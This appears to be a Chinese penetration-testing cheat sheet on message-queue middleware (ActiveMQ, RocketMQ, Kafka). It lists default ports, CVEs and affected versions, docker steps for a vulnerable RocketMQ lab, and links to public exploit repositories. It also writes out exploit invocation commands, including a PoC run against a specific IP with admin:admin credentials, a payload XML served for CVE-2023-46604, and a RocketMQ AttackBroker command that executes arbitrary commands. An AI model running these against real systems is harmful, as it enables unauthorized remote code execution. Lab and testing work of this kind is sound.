消息队列:(Message Queue)
基于异步通信模式的中间件技术,核心功能是在不同的应用程序、服务或组件之间传递消息(数据),起到缓冲、解耦、削峰等作用。发送方(生产者)将消息放入队列后即可返回,无需等待接收方(消费者)立即处理;接收方则从队列中按需获取消息并处理,实现了发送方和接收方的异步解耦。
常见的消息队列产品包括:(广泛应用于分布式系统、微服务架构中)
Apache Kafka、RabbitMQ、ActiveMQ、RocketMQ 等
ActiveMQ
端口 条件
- 8161 web 需配置访问
- 61616 tcp 远程访问
一套开源的消息中间件,它支持 Java 消息服务、集群、Spring Framework 等。
-
CVE-2022-41678
在 5.16.5, 5.17.3 版本及以前
python poc.py -u admin -p admin http://101.32.220.14:8161/ -
CVE-2023-46604
在 5.18.2 版本及以前
python3 -m http.server 6666 python3 poc.py 目标IP 目标端口 http://IP:6666/poc.xml
RocketMQ
端口号 用途说明
- 9876 NameServer 通信端口用于客户端路由请求和 Broker 注册发现
- 10911 Broker 主监听端口处理消息发送/消费等核心服务
Apache RocketMQ 是一个分布式消息平台
-
CVE-2023-33246 CVE-2023-37582
参考:
https://mp.weixin.qq.com/s/UsjzX-HSt7QE1QeVBdEXaw
https://mp.weixin.qq.com/s/ceZY_TJqsaWyyHubrlKqSw
环境搭建:
docker pull apache/rocketmq:4.9.1 docker pull apacherocketmq/rocketmq-console:2.0.0 docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv# 1.创建broker文件目录 mkdir -p /NDTSec/rocketmq/conf/ # 2.创建broker.conf文件 vim /NDTSec/rocketmq/conf/broker.conf# 3.将下面内容复制粘贴到broker.conf配置文件中: brokerClusterName = DefaultCluster brokerName = broker-a brokerId = 0 deleteWhen = 04 fileReservedTime = 48 brokerRole = ASYNC_MASTER flushDiskType = SYNC_FLUSH# 4.启动broker docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /NDTSec/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf# 5、启动console docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv -e "JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876 -Dcom.rocketmq.sendMessageWithVIPChannel=false" -t apacherocketmq/rocketmq-console:2.0.0利用 POC:
https://github.com/vulhub/rocketmq-attack
https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT
d:\Python3.8\python.exe check.py --ip ip --port 9876 java -jar rocketmq-attack-1.1-SNAPSHOT.jar AttackBroker --target ip:port --cmd "xxxx"利用 POC:
https://github.com/Malayke/CVE-2023-37582_EXPLOIT
python.exe CVE-2023-37582.py -ip ip -p 9876
Kafka
分布式流处理平台,用于高吞吐量实时数据传输存储和处理,
广泛应用于日志收集、消息队列、数据管道、实时分析等场景。
CVE-2023-25194
漏洞影响版本:2.3.0 ⇐ Apache Kafka ⇐ 3.3.2
https://github.com/vulhub/vulhub/blob/master/kafka/CVE-2023-25194/README.zh-cn.md